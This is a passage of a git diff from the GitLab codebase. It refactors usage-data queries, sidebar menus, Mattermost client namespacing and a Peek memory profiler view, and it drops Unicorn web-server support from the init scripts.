- .new('WIDTH_BUCKET', [cte.table[:count_grouped], buckets.first, buckets.last, bucket_segments])
- .as('buckets')
-
- query = cte
- .table
- .project(width_bucket, cte.table[:count])
- .group('buckets')
- .order('buckets')
- .with(cte.to_arel)
-
- query.to_sql
+ Gitlab::Usage::Metrics::Query.for(:histogram, relation, column, buckets: buckets, bucket_size: bucket_size)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -50,11 +27,11 @@ module Gitlab
# buckets query, because it can't be used to obtain estimations without
# supplementary ruby code present in Gitlab::Database::PostgresHll::BatchDistinctCounter
def estimate_batch_distinct_count(relation, column = nil, *args, **kwargs)
- raw_sql(relation, column, :distinct)
+ Gitlab::Usage::Metrics::Query.for(:estimate_batch_distinct_count, relation, column)
end
def add(*args)
- 'SELECT ' + args.map {|arg| "(#{arg})" }.join(' + ')
+ 'SELECT ' + args.map { |arg| "(#{arg})" }.join(' + ')
end
def maximum_id(model, column = nil)
@@ -63,6 +40,14 @@ module Gitlab
def minimum_id(model, column = nil)
end
+ def redis_usage_data(counter = nil, &block)
+ if block_given?
+ { redis_usage_data_block: block.to_s }
+ elsif counter.present?
+ { redis_usage_data_counter: counter }
+ end
+ end
+
def jira_service_data
{
projects_jira_server_active: 0,
@@ -73,13 +58,6 @@ module Gitlab
def epics_deepest_relationship_level
{ epics_deepest_relationship_level: 0 }
end
-
- private
-
- def raw_sql(relation, column, distinct = nil)
- column ||= relation.primary_key
- relation.select(relation.all.table[column].count(distinct)).to_sql
- end
end
end
end
diff --git a/lib/gitlab/utils/measuring.rb b/lib/gitlab/utils/measuring.rb
index ffd12c1b518..dc43d977a62 100644
--- a/lib/gitlab/utils/measuring.rb
+++ b/lib/gitlab/utils/measuring.rb
@@ -9,7 +9,7 @@ module Gitlab
attr_writer :logger
def logger
- @logger ||= Logger.new(STDOUT)
+ @logger ||= Logger.new($stdout)
end
end
@@ -67,7 +67,7 @@ module Gitlab
def log_info(details)
details = base_log_data.merge(details)
- details = details.to_yaml if ActiveSupport::Logger.logger_outputs_to?(Measuring.logger, STDOUT)
+ details = details.to_yaml if ActiveSupport::Logger.logger_outputs_to?(Measuring.logger, $stdout)
Measuring.logger.info(details)
end
end
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index b1ccdcb1df0..4ea5b5a87de 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -42,9 +42,6 @@ module Gitlab
FALLBACK = -1
HISTOGRAM_FALLBACK = { '-1' => -1 }.freeze
DISTRIBUTED_HLL_FALLBACK = -2
- ALL_TIME_TIME_FRAME_NAME = "all"
- SEVEN_DAYS_TIME_FRAME_NAME = "7d"
- TWENTY_EIGHT_DAYS_TIME_FRAME_NAME = "28d"
MAX_BUCKET_SIZE = 100
def count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
@@ -227,7 +224,7 @@ module Gitlab
}
# rubocop: disable CodeReuse/ActiveRecord
- JiraService.active.includes(:jira_tracker_data).find_in_batches(batch_size: 100) do |services|
+ ::Integrations::Jira.active.includes(:jira_tracker_data).find_in_batches(batch_size: 100) do |services|
counts = services.group_by do |service|
# TODO: Simplify as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
service_url = service.data_fields&.url || (service.properties && service.properties['url'])
diff --git a/lib/gitlab/workhorse.rb b/lib/gitlab/workhorse.rb
index e9905bae985..0f33c3aa68e 100644
--- a/lib/gitlab/workhorse.rb
+++ b/lib/gitlab/workhorse.rb
@@ -270,7 +270,7 @@ module Gitlab
prefix: metadata['ArchivePrefix'],
format: format,
path: path.presence || "",
- include_lfs_blobs: Feature.enabled?(:include_lfs_blobs_in_archive, default_enabled: true)
+ include_lfs_blobs: true
).to_proto
)
}
diff --git a/lib/google_api/cloud_platform/client.rb b/lib/google_api/cloud_platform/client.rb
index 34e3be2320b..c917debd3d9 100644
--- a/lib/google_api/cloud_platform/client.rb
+++ b/lib/google_api/cloud_platform/client.rb
@@ -13,10 +13,6 @@ module GoogleApi
LEAST_TOKEN_LIFE_TIME = 10.minutes
CLUSTER_MASTER_AUTH_USERNAME = 'admin'
CLUSTER_IPV4_CIDR_BLOCK = '/16'
- # Don't upgrade to > 1.18 before we move away from Basic Auth
- # See issue: https://gitlab.com/gitlab-org/gitlab/-/issues/331582
- # Possible solution: https://gitlab.com/groups/gitlab-org/-/epics/6049
- GKE_VERSION = '1.18'
CLUSTER_OAUTH_SCOPES = [
"https://www.googleapis.com/auth/devstorage.read_only",
"https://www.googleapis.com/auth/logging.write",
@@ -94,13 +90,11 @@ module GoogleApi
cluster: {
name: cluster_name,
initial_node_count: cluster_size,
- initial_cluster_version: GKE_VERSION,
node_config: {
machine_type: machine_type,
oauth_scopes: CLUSTER_OAUTH_SCOPES
},
master_auth: {
- username: CLUSTER_MASTER_AUTH_USERNAME,
client_certificate_config: {
issue_client_certificate: true
}
diff --git a/lib/mattermost/error.rb b/lib/mattermost.rb
index 054bd5457bd..054bd5457bd 100644
--- a/lib/mattermost/error.rb
+++ b/lib/mattermost.rb
diff --git a/lib/mattermost/client.rb b/lib/mattermost/client.rb
index 7fb959a149c..a5c1f788c68 100644
--- a/lib/mattermost/client.rb
+++ b/lib/mattermost/client.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Mattermost
- ClientError = Class.new(Mattermost::Error)
+ ClientError = Class.new(::Mattermost::Error)
class Client
attr_reader :user
@@ -11,7 +11,7 @@ module Mattermost
end
def with_session(&blk)
- Mattermost::Session.new(user).with_session(&blk)
+ ::Mattermost::Session.new(user).with_session(&blk)
end
private
@@ -52,12 +52,12 @@ module Mattermost
json_response = Gitlab::Json.parse(response.body, legacy_mode: true)
unless response.success?
- raise Mattermost::ClientError, json_response['message'] || 'Undefined error'
+ raise ::Mattermost::ClientError, json_response['message'] || 'Undefined error'
end
json_response
rescue JSON::JSONError
- raise Mattermost::ClientError, 'Cannot parse response'
+ raise ::Mattermost::ClientError, 'Cannot parse response'
end
end
end
diff --git a/lib/mattermost/session.rb b/lib/mattermost/session.rb
index 523d82f9161..9374c5c8f8f 100644
--- a/lib/mattermost/session.rb
+++ b/lib/mattermost/session.rb
@@ -1,13 +1,13 @@
# frozen_string_literal: true
module Mattermost
- class NoSessionError < Mattermost::Error
+ class NoSessionError < ::Mattermost::Error
def message
'No session could be set up, is Mattermost configured with Single Sign On?'
end
end
- ConnectionError = Class.new(Mattermost::Error)
+ ConnectionError = Class.new(::Mattermost::Error)
# This class' prime objective is to obtain a session token on a Mattermost
# instance with SSO configured where this GitLab instance is the provider.
@@ -42,7 +42,7 @@ module Mattermost
yield self
rescue Errno::ECONNREFUSED => e
Gitlab::AppLogger.error(e.message + "\n" + e.backtrace.join("\n"))
- raise Mattermost::NoSessionError
+ raise ::Mattermost::NoSessionError
ensure
destroy
end
@@ -100,11 +100,11 @@ module Mattermost
end
def create
- raise Mattermost::NoSessionError unless oauth_uri
- raise Mattermost::NoSessionError unless token_uri
+ raise ::Mattermost::NoSessionError unless oauth_uri
+ raise ::Mattermost::NoSessionError unless token_uri
@token = request_token
- raise Mattermost::NoSessionError unless @token
+ raise ::Mattermost::NoSessionError unless @token
@headers = {
Authorization: "Bearer #{@token}"
@@ -174,9 +174,9 @@ module Mattermost
def handle_exceptions
yield
rescue Gitlab::HTTP::Error => e
- raise Mattermost::ConnectionError, e.message
+ raise ::Mattermost::ConnectionError, e.message
rescue Errno::ECONNREFUSED => e
- raise Mattermost::ConnectionError, e.message
+ raise ::Mattermost::ConnectionError, e.message
end
def parse_cookie(response)
diff --git a/lib/microsoft_teams/notifier.rb b/lib/microsoft_teams/notifier.rb
index 39005f56dcb..299e3eeb953 100644
--- a/lib/microsoft_teams/notifier.rb
+++ b/lib/microsoft_teams/notifier.rb
@@ -32,7 +32,7 @@ module MicrosoftTeams
result['title'] = title
result['summary'] = summary
- result['sections'] << MicrosoftTeams::Activity.new(**activity).prepare
+ result['sections'] << ::MicrosoftTeams::Activity.new(**activity).prepare
unless attachments.blank?
result['sections'] << { text: attachments }
diff --git a/lib/peek/views/active_record.rb b/lib/peek/views/active_record.rb
index 774e4768597..8e1200338c2 100644
--- a/lib/peek/views/active_record.rb
+++ b/lib/peek/views/active_record.rb
@@ -43,6 +43,11 @@ module Peek
count[item[:transaction]] ||= 0
count[item[:transaction]] += 1
end
+
+ if ::Gitlab::Database::LoadBalancing.enable?
+ count[item[:db_role]] ||= 0
+ count[item[:db_role]] += 1
+ end
end
def setup_subscribers
@@ -60,11 +65,19 @@ module Peek
sql: data[:sql].strip,
backtrace: Gitlab::BacktraceCleaner.clean_backtrace(caller),
cached: data[:cached] ? 'Cached' : '',
- transaction: data[:connection].transaction_open? ? 'In a transaction' : ''
+ transaction: data[:connection].transaction_open? ? 'In a transaction' : '',
+ db_role: db_role(data)
}
end
+
+ def db_role(data)
+ return unless ::Gitlab::Database::LoadBalancing.enable?
+
+ role = ::Gitlab::Database::LoadBalancing.db_role_for_connection(data[:connection]) ||
+ ::Gitlab::Database::LoadBalancing::ROLE_UNKNOWN
+
+ role.to_s.capitalize
+ end
end
end
end
-
-Peek::Views::ActiveRecord.prepend_mod_with('Peek::Views::ActiveRecord')
diff --git a/lib/peek/views/memory.rb b/lib/peek/views/memory.rb
new file mode 100644
index 00000000000..399474dedf1
--- /dev/null
+++ b/lib/peek/views/memory.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module Peek
+ module Views
+ class Memory < View
+ MEM_TOTAL_LABEL = 'Total'
+ MEM_OBJECTS_LABEL = 'Objects allocated'
+ MEM_MALLOCS_LABEL = 'Allocator calls'
+ MEM_BYTES_LABEL = 'Large allocations'
+
+ def initialize(options = {})
+ super
+
+ @thread_memory = {}
+ end
+
+ def results
+ return thread_memory if thread_memory.empty?
+
+ {
+ calls: byte_string(thread_memory[:mem_total_bytes]),
+ summary: {
+ MEM_OBJECTS_LABEL => number_string(thread_memory[:mem_objects]),
+ MEM_MALLOCS_LABEL => number_string(thread_memory[:mem_mallocs]),
+ MEM_BYTES_LABEL => byte_string(thread_memory[:mem_bytes])
+ },
+ details: [
+ {
+ item_header: MEM_TOTAL_LABEL,
+ item_content: "Total memory use of this request. This includes both occupancy of existing heap slots " \
+ "as well as newly allocated memory due to large objects. Not adjusted for freed memory. " \
+ "Lower is better."
+ },
+ {
+ item_header: MEM_OBJECTS_LABEL,
+ item_content: "Total number of objects allocated by the Ruby VM during this request. " \
+ "Not adjusted for objects that were freed again. Lower is better."
+ },
+ {
+ item_header: MEM_MALLOCS_LABEL,
+ item_content: "Total number of times Ruby had to call `malloc`, the C memory allocator. " \
+ "This is necessary for objects that are too large to fit into a 40 Byte slot in Ruby's managed heap. " \
+ "Lower is better."
+ },
+ {
+ item_header: MEM_BYTES_LABEL,
+ item_content: "Memory allocated for objects that did not fit into a heap slot. " \
+ "Not adjusted for memory that was freed again. Lower is better."
+ }
+ ]
+ }
+ end
+
+ private
+
+ attr_reader :thread_memory
+
+ def setup_subscribers
+ subscribe 'process_action.action_controller' do
+ # Ensure that Peek will see memory instrumentation in `results` by triggering it when
+ # a request is done processing. Peek itself hooks into the same notification:
+ # https://github.com/peek/peek/blob/master/lib/peek/railtie.rb
+ Gitlab::InstrumentationHelper.instrument_thread_memory_allocations(thread_memory)
+ end
+ end
+
+ def byte_string(bytes)
+ ActiveSupport::NumberHelper.number_to_human_size(bytes)
+ end
+
+ def number_string(num)
+ ActiveSupport::NumberHelper.number_to_human(num, units: { thousand: 'k', million: 'M', billion: 'B' })
+ end
+ end
+ end
+end
diff --git a/lib/prometheus/pid_provider.rb b/lib/prometheus/pid_provider.rb
index 32beeb0d31e..d2563b4c806 100644
--- a/lib/prometheus/pid_provider.rb
+++ b/lib/prometheus/pid_provider.rb
@@ -7,8 +7,6 @@ module Prometheus
def worker_id
if Gitlab::Runtime.sidekiq?
sidekiq_worker_id
- elsif Gitlab::Runtime.unicorn?
- unicorn_worker_id
elsif Gitlab::Runtime.puma?
puma_worker_id
else
@@ -26,16 +24,6 @@ module Prometheus
end
end
- def unicorn_worker_id
- if matches = process_name.match(/unicorn.*worker\[([0-9]+)\]/)
- "unicorn_#{matches[1]}"
- elsif process_name =~ /unicorn/
- "unicorn_master"
- else
- unknown_process_id
- end
- end
-
def puma_worker_id
if matches = process_name.match(/puma.*cluster worker ([0-9]+):/)
"puma_#{matches[1]}"
diff --git a/lib/release_highlights/validator/entry.rb b/lib/release_highlights/validator/entry.rb
index 133afcb52ae..dff55eead2f 100644
--- a/lib/release_highlights/validator/entry.rb
+++ b/lib/release_highlights/validator/entry.rb
@@ -46,7 +46,10 @@ module ReleaseHighlights
def add_line_numbers_to_errors!
errors.messages.each do |attribute, messages|
- messages.map! { |m| "#{m} (line #{line_number_for(attribute)})" }
+ extended_messages = messages.map { |m| "#{m} (line #{line_number_for(attribute)})" }
+
+ errors.delete(attribute)
+ extended_messages.each { |extended_message| errors.add(attribute, extended_message) }
end
end
diff --git a/lib/security/ci_configuration/base_build_action.rb b/lib/security/ci_configuration/base_build_action.rb
index b169d780cad..e7a1b4770b9 100644
--- a/lib/security/ci_configuration/base_build_action.rb
+++ b/lib/security/ci_configuration/base_build_action.rb
@@ -42,7 +42,7 @@ module Security
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
YAML
end
end
diff --git a/lib/security/ci_configuration/sast_build_action.rb b/lib/security/ci_configuration/sast_build_action.rb
index 23dd4bd6d14..3fa5e9c7177 100644
--- a/lib/security/ci_configuration/sast_build_action.rb
+++ b/lib/security/ci_configuration/sast_build_action.rb
@@ -3,8 +3,6 @@
module Security
module CiConfiguration
class SastBuildAction < BaseBuildAction
- SAST_DEFAULT_ANALYZERS = 'bandit, brakeman, eslint, flawfinder, gosec, kubesec, nodejs-scan, phpcs-security-audit, pmd-apex, security-code-scan, semgrep, sobelow, spotbugs'
-
def initialize(auto_devops_enabled, params, existing_gitlab_ci_content)
super(auto_devops_enabled, existing_gitlab_ci_content)
@variables = variables(params)
@@ -114,7 +112,6 @@ module Security
def sast_variables
%w(
- SAST_ANALYZER_IMAGE_TAG
SAST_EXCLUDED_PATHS
SEARCH_MAX_DEPTH
SAST_EXCLUDED_ANALYZERS
diff --git a/lib/serializers/json.rb b/lib/serializers/json.rb
index 1ed5d5dc3f5..6564f53d2da 100644
--- a/lib/serializers/json.rb
+++ b/lib/serializers/json.rb
@@ -2,7 +2,7 @@
module Serializers
# Make the resulting hash have deep indifferent access
- class JSON
+ class Json
class << self
def dump(obj)
obj
diff --git a/lib/sidebars/concerns/container_with_html_options.rb b/lib/sidebars/concerns/container_with_html_options.rb
index 873cb5b0de9..79dddd309b5 100644
--- a/lib/sidebars/concerns/container_with_html_options.rb
+++ b/lib/sidebars/concerns/container_with_html_options.rb
@@ -38,6 +38,16 @@ module Sidebars
# in the helper method that sets the active class
# on each element.
def nav_link_html_options
+ {
+ data: {
+ track_label: self.class.name.demodulize.underscore
+ }
+ }.deep_merge(extra_nav_link_html_options)
+ end
+
+ # Classes should mostly override this method
+ # and not `nav_link_html_options`.
+ def extra_nav_link_html_options
{}
end
diff --git a/lib/sidebars/menu.rb b/lib/sidebars/menu.rb
index d81e413f4a9..dcdc130b0d7 100644
--- a/lib/sidebars/menu.rb
+++ b/lib/sidebars/menu.rb
@@ -83,6 +83,16 @@ module Sidebars
insert_element_after(@items, after_item, new_item)
end
+ override :container_html_options
+ def container_html_options
+ super.tap do |html_options|
+ # Flagging menus that can be rendered and with renderable menu items
+ if render? && has_renderable_items?
+ html_options[:class] = [*html_options[:class], 'has-sub-items'].join(' ')
+ end
+ end
+ end
+
private
override :index_of
diff --git a/lib/sidebars/menu_item.rb b/lib/sidebars/menu_item.rb
index b0a12e769dc..1375f9fffca 100644
--- a/lib/sidebars/menu_item.rb
+++ b/lib/sidebars/menu_item.rb
@@ -22,5 +22,13 @@ module Sidebars
def render?
true
end
+
+ def nav_link_html_options
+ {
+ data: {
+ track_label: item_id
+ }
+ }
+ end
end
end
diff --git a/lib/sidebars/projects/menus/infrastructure_menu.rb b/lib/sidebars/projects/menus/infrastructure_menu.rb
index 75b6cae295f..8cf7abc613c 100644
--- a/lib/sidebars/projects/menus/infrastructure_menu.rb
+++ b/lib/sidebars/projects/menus/infrastructure_menu.rb
@@ -6,7 +6,7 @@ module Sidebars
class InfrastructureMenu < ::Sidebars::Menu
override :configure_menu_items
def configure_menu_items
- return false if Feature.disabled?(:sidebar_refactor, context.current_user)
+ return false if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
return false unless context.project.feature_available?(:operations, context.current_user)
add_item(kubernetes_menu_item)
diff --git a/lib/sidebars/projects/menus/issues_menu.rb b/lib/sidebars/projects/menus/issues_menu.rb
index 9840f644179..79603803b8f 100644
--- a/lib/sidebars/projects/menus/issues_menu.rb
+++ b/lib/sidebars/projects/menus/issues_menu.rb
@@ -98,7 +98,7 @@ module Sidebars
end
def labels_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user)
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
return ::Sidebars::NilMenuItem.new(item_id: :labels)
end
diff --git a/lib/sidebars/projects/menus/labels_menu.rb b/lib/sidebars/projects/menus/labels_menu.rb
index 12cf0444994..7cb28ababdb 100644
--- a/lib/sidebars/projects/menus/labels_menu.rb
+++ b/lib/sidebars/projects/menus/labels_menu.rb
@@ -40,7 +40,7 @@ module Sidebars
override :render?
def render?
- return false if Feature.enabled?(:sidebar_refactor, context.current_user)
+ return false if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
can?(context.current_user, :read_label, context.project) && !context.project.issues_enabled?
end
diff --git a/lib/sidebars/projects/menus/learn_gitlab_menu.rb b/lib/sidebars/projects/menus/learn_gitlab_menu.rb
index e3fcd8f25d5..f29f4a6eed6 100644
--- a/lib/sidebars/projects/menus/learn_gitlab_menu.rb
+++ b/lib/sidebars/projects/menus/learn_gitlab_menu.rb
@@ -35,14 +35,13 @@ module Sidebars
end
end
- override :extra_container_html_options
- def nav_link_html_options
+ override :extra_nav_link_html_options
+ def extra_nav_link_html_options
{
class: 'home',
data: {
- track_action: 'click_menu',
- track_property: context.learn_gitlab_experiment_tracking_category,
- track_label: 'learn_gitlab'
+ track_label: 'learn_gitlab',
+ track_property: context.learn_gitlab_experiment_tracking_category
}
}
end
diff --git a/lib/sidebars/projects/menus/monitor_menu.rb b/lib/sidebars/projects/menus/monitor_menu.rb
index 18c990d0e1f..8ebdacc7c7e 100644
--- a/lib/sidebars/projects/menus/monitor_menu.rb
+++ b/lib/sidebars/projects/menus/monitor_menu.rb
@@ -139,7 +139,7 @@ module Sidebars
end
def serverless_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user) ||
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
!can?(context.current_user, :read_cluster, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :serverless)
end
@@ -153,7 +153,7 @@ module Sidebars
end
def terraform_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user) ||
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
!can?(context.current_user, :read_terraform_state, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :terraform)
end
@@ -167,7 +167,7 @@ module Sidebars
end
def kubernetes_menu_item
- if Feature.enabled?(:sidebar_refactor, context.current_user) ||
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
!can?(context.current_user, :read_cluster, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :kubernetes)
end
diff --git a/lib/sidebars/projects/menus/packages_registries_menu.rb b/lib/sidebars/projects/menus/packages_registries_menu.rb
index 7087916bb04..27e318d73c5 100644
--- a/lib/sidebars/projects/menus/packages_registries_menu.rb
+++ b/lib/sidebars/projects/menus/packages_registries_menu.rb
@@ -58,7 +58,7 @@ module Sidebars
end
def infrastructure_registry_menu_item
- if Feature.disabled?(:infrastructure_registry_page, context.current_user)
+ if Feature.disabled?(:infrastructure_registry_page, context.current_user, default_enabled: :yaml)
return ::Sidebars::NilMenuItem.new(item_id: :infrastructure_registry)
end
diff --git a/lib/sidebars/projects/menus/project_information_menu.rb b/lib/sidebars/projects/menus/project_information_menu.rb
index cbb34714087..c148e7cf931 100644
--- a/lib/sidebars/projects/menus/project_information_menu.rb
+++ b/lib/sidebars/projects/menus/project_information_menu.rb
@@ -17,24 +17,26 @@ module Sidebars
override :link
def link
- project_path(context.project)
+ renderable_items.first.link
end
override :extra_container_html_options
def extra_container_html_options
- {
- class: 'shortcuts-project rspec-project-link'
- }
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
+ { class: 'shortcuts-project-information' }
+ else
+ { class: 'shortcuts-project rspec-project-link' }
+ end
end
- override :nav_link_html_options
- def nav_link_html_options
+ override :extra_nav_link_html_options
+ def extra_nav_link_html_options
{ class: 'home' }
end
override :title
def title
- if Feature.enabled?(:sidebar_refactor, context.current_user)
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
_('Project information')
else
_('Project overview')
@@ -43,24 +45,17 @@ module Sidebars
override :sprite_icon
def sprite_icon
- if Feature.enabled?(:sidebar_refactor, context.current_user)
+ if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
'project'
else
'home'
end
end
- override :active_routes
- def active_routes
- return {} if Feature.disabled?(:sidebar_refactor, context.current_user)
-
- { path: 'projects#show' }
- end
-
private
def details_menu_item
- return if Feature.enabled?(:sidebar_refactor, context.current_user)
+ return if Feature.enabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
::Sidebars::MenuItem.new(
title: _('Details'),
@@ -103,7 +98,7 @@ module Sidebars
end
def labels_menu_item
- if Feature.disabled?(:sidebar_refactor, context.current_user)
+ if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
return ::Sidebars::NilMenuItem.new(item_id: :labels)
end
diff --git a/lib/sidebars/projects/menus/scope_menu.rb b/lib/sidebars/projects/menus/scope_menu.rb
index 1d1cf11b271..1cd0218d4ac 100644
--- a/lib/sidebars/projects/menus/scope_menu.rb
+++ b/lib/sidebars/projects/menus/scope_menu.rb
@@ -13,6 +13,32 @@ module Sidebars
def title
context.project.name
end
+
+ override :active_routes
+ def active_routes
+ { path: 'projects#show' }
+ end
+
+ override :extra_container_html_options
+ def extra_container_html_options
+ return {} if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
+
+ {
+ class: 'shortcuts-project rspec-project-link'
+ }
+ end
+
+ override :extra_nav_link_html_options
+ def extra_nav_link_html_options
+ return {} if Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml)
+
+ { class: 'context-header' }
+ end
+
+ override :render?
+ def render?
+ true
+ end
end
end
end
diff --git a/lib/sidebars/projects/menus/security_compliance_menu.rb b/lib/sidebars/projects/menus/security_compliance_menu.rb
index 6c9fb8312bd..5616b466560 100644
--- a/lib/sidebars/projects/menus/security_compliance_menu.rb
+++ b/lib/sidebars/projects/menus/security_compliance_menu.rb
@@ -17,7 +17,7 @@ module Sidebars
override :link
def link
- project_security_configuration_path(context.project)
+ renderable_items.first&.link
end
override :title
@@ -33,18 +33,16 @@ module Sidebars
private
def configuration_menu_item
- strong_memoize(:configuration_menu_item) do
- unless render_configuration_menu_item?
- next ::Sidebars::NilMenuItem.new(item_id: :configuration)
- end
-
- ::Sidebars::MenuItem.new(
- title: _('Configuration'),
- link: project_security_configuration_path(context.project),
- active_routes: { path: configuration_menu_item_paths },
- item_id: :configuration
- )
+ unless render_configuration_menu_item?
+ return ::Sidebars::NilMenuItem.new(item_id: :configuration)
end
+
+ ::Sidebars::MenuItem.new(
+ title: _('Configuration'),
+ link: project_security_configuration_path(context.project),
+ active_routes: { path: configuration_menu_item_paths },
+ item_id: :configuration
+ )
end
def render_configuration_menu_item?
diff --git a/lib/sidebars/projects/menus/settings_menu.rb b/lib/sidebars/projects/menus/settings_menu.rb
index 4ea6f5e298a..c9d7e736b21 100644
--- a/lib/sidebars/projects/menus/settings_menu.rb
+++ b/lib/sidebars/projects/menus/settings_menu.rb
@@ -136,7 +136,7 @@ module Sidebars
def packages_and_registries_menu_item
if !Gitlab.config.registry.enabled ||
- Feature.disabled?(:sidebar_refactor, context.current_user) ||
+ Feature.disabled?(:sidebar_refactor, context.current_user, default_enabled: :yaml) ||
!can?(context.current_user, :destroy_container_image, context.project)
return ::Sidebars::NilMenuItem.new(item_id: :packages_and_registries)
end
diff --git a/lib/support/init.d/gitlab b/lib/support/init.d/gitlab
index 9bf8fe28120..ac47c5be1e8 100755
--- a/lib/support/init.d/gitlab
+++ b/lib/support/init.d/gitlab
@@ -26,17 +26,6 @@
### Environment variables
RAILS_ENV=${RAILS_ENV:-'production'}
SIDEKIQ_WORKERS=${SIDEKIQ_WORKERS:-1}
-USE_WEB_SERVER=${USE_WEB_SERVER:-'puma'}
-
-case "${USE_WEB_SERVER}" in
- puma|unicorn)
- use_web_server="$USE_WEB_SERVER"
- ;;
- *)
- echo "Unsupported web server '${USE_WEB_SERVER}' (Allowed: 'puma', 'unicorn')" 1>&2
- exit 1
- ;;
-esac
# Script variable names should be lower-case not to conflict with
# internal /bin/sh variables such as PATH, EDITOR or SHELL.
@@ -45,7 +34,7 @@ app_root="/home/$app_user/gitlab"
pid_path="$app_root/tmp/pids"
socket_path="$app_root/tmp/sockets"
rails_socket="$socket_path/gitlab.socket"
-web_server_pid_path="$pid_path/$use_web_server.pid"
+web_server_pid_path="$pid_path/puma.pid"
mail_room_enabled=false
mail_room_pid_path="$pid_path/mail_room.pid"
gitlab_workhorse_dir=$(cd $app_root/../gitlab-workhorse 2> /dev/null && pwd)
@@ -270,7 +259,7 @@ start_gitlab() {
check_stale_pids
if [ "$web_status" != "0" ]; then
- echo "Starting GitLab web server ($use_web_server)"
+ echo "Starting GitLab web server"
fi
if [ "$sidekiq_status" != "0" ]; then
echo "Starting GitLab Sidekiq"
@@ -295,7 +284,7 @@ start_gitlab() {
# Remove old socket if it exists
rm -f "$rails_socket" 2>/dev/null
# Start the web server
- RAILS_ENV=$RAILS_ENV USE_WEB_SERVER=$use_web_server bin/web start
+ RAILS_ENV=$RAILS_ENV bin/web start
fi
# If sidekiq is already running, don't start it again.
@@ -357,7 +346,7 @@ stop_gitlab() {
if [ "$web_status" = "0" ]; then
echo "Shutting down GitLab web server"
- RAILS_ENV=$RAILS_ENV USE_WEB_SERVER=$use_web_server bin/web stop
+ RAILS_ENV=$RAILS_ENV bin/web stop
fi
if [ "$sidekiq_status" = "0" ]; then
echo "Shutting down GitLab Sidekiq"
@@ -461,7 +450,7 @@ reload_gitlab(){
exit 1
fi
printf "Reloading GitLab web server configuration... "
- RAILS_ENV=$RAILS_ENV USE_WEB_SERVER=$use_web_server bin/web reload
+ RAILS_ENV=$RAILS_ENV bin/web reload
echo "Done."
echo "Restarting GitLab Sidekiq since it isn't capable of reloading its config..."
diff --git a/lib/support/init.d/gitlab.default.example b/lib/support/init.d/gitlab.default.example
index 1b499467ad6..53bebe55fa3 100644
--- a/lib/support/init.d/gitlab.default.example
+++ b/lib/support/init.d/gitlab.default.example
@@ -5,9 +5,6 @@
# Normal values are "production", "test" and "development".
RAILS_ENV="production"
-# Uncomment the line below to enable the Unicorn web server instead of Puma.
-# use_web_server="unicorn"
-
# app_user defines the user that GitLab is run as.
# The default is "git".
app_user="git"
@@ -43,7 +40,7 @@ gitlab_workhorse_pid_path="$pid_path/gitlab-workhorse.pid"
# socket. To listen on TCP connections (needed by Apache) change to:
# '-listenNetwork tcp -listenAddr 127.0.0.1:8181'
#
-# The -authBackend setting tells gitlab-workhorse where it can reach Unicorn.
+# The -authBackend setting tells gitlab-workhorse where it can reach the GitLab Rails application.
# For relative URL support change to:
# '-authBackend http://127.0.0.1/8080/gitlab'
# Read more in http://doc.gitlab.com/ce/install/relative_url.html
diff --git a/lib/system_check/app/redis_version_check.rb b/lib/system_check/app/redis_version_check.rb
index e72d8b6b04d..d907c041ad8 100644
--- a/lib/system_check/app/redis_version_check.rb
+++ b/lib/system_check/app/redis_version_check.rb
@@ -5,9 +5,9 @@ require 'redis'
module SystemCheck
module App
class RedisVersionCheck < SystemCheck::BaseCheck
- # Redis 4.x will be deprecated
- # https://gitlab.com/gitlab-org/gitlab/-/issues/327197
- MIN_REDIS_VERSION = '4.0.0'
+ # Redis 5.x will be deprecated
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/331468
+ MIN_REDIS_VERSION = '5.0.0'
RECOMMENDED_REDIS_VERSION = '5.0.0'
set_name "Redis version >= #{RECOMMENDED_REDIS_VERSION}?"
diff --git a/lib/system_check/incoming_email/imap_authentication_check.rb b/lib/system_check/incoming_email/imap_authentication_check.rb
index 61719abc991..e02ae81dc98 100644
--- a/lib/system_check/incoming_email/imap_authentication_check.rb
+++ b/lib/system_check/incoming_email/imap_authentication_check.rb
@@ -52,7 +52,7 @@ module SystemCheck
def load_config
erb = ERB.new(File.read(mail_room_config_path))
erb.filename = mail_room_config_path
- config_file = YAML.safe_load(erb.result)
+ config_file = YAML.safe_load(erb.result, permitted_classes: [Symbol])
config_file[:mailboxes]
end
diff --git a/lib/tasks/file_hooks.rake b/lib/tasks/file_hooks.rake
index a892d36b48e..5eb49808eff 100644
--- a/lib/tasks/file_hooks.rake
